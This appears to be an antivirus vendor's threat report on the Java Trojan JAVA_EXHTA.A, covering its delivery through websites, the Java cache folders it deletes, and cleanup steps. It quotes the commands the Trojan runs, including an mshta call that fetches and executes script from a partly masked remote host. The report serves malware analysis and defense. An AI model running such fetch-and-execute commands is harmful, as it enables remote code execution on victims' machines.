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JAVA_EXHTA.A

October 09, 2012
 Analysis by: Christopher Daniel So
 PLATFORM:

Windows 2000, Windows XP, Windows Server 2003

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW


This Trojan executes when a user accesses certain websites where it is hosted.

It deletes files in certain folders, disabling programs and applications from properly running.

It executes certain actions WITHIN the affected computer.

  TECHNICAL DETAILS

File Size:

Varies

File Type:

Java Class

Memory Resident:

Yes

Initial Samples Received Date:

18 Feb 2011

Arrival Details

This Trojan executes when a user accesses certain websites where it is hosted.

Other System Modifications

This Trojan deletes files in the following folders:

  • %Application Data%\Sun\Java\Development\cache
  • %Application Data%\Sun\Java\Development\SystemCache
  • %User Profile%\AppData\LocalLow\Sun\Java\Development\cache
  • %User Profile%\AppData\LocalLow\Sun\Java\Development\SystemCache
  • %User Profile%\Application Data\Sun\Java\Development\cache
  • %User Profile%\Application Data\Sun\Java\Development\SystemCache

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Windows\Profiles\{user name}\Application Data on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Application Data on Windows NT, and C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, XP, and Server 2003.. %User Profile% is the current user's profile folder, which is usually C:\Windows\Profiles\{user name} on Windows 98 and ME, C:\WINNT\Profiles\{user name} on Windows NT, and C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003.)

Other Details

This Trojan executes the following:

  • javaws -Xclearcache -silent -Xnosplash
  • mshta http://{BLOCKED}r.net/cod/srun

  SOLUTION

Minimum Scan Engine:

9.200

FIRST VSAPI PATTERN FILE:

7.844.01

FIRST VSAPI PATTERN DATE:

18 Feb 2011

VSAPI OPR PATTERN File:

7.845.00

VSAPI OPR PATTERN Date:

19 Feb 2011

Step 1

For Windows XP and Windows Server 2003 users, before doing any scans, please make sure you disable System Restore to allow full scanning of your computer.

Step 2

Close all opened browser windows

Step 3

Terminate a malware/grayware process

[ Learn More ]

*Note: If the detected process is not displayed in theWindows Task Manager, continue doing the next steps.

    • mshta.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as JAVA_EXHTA.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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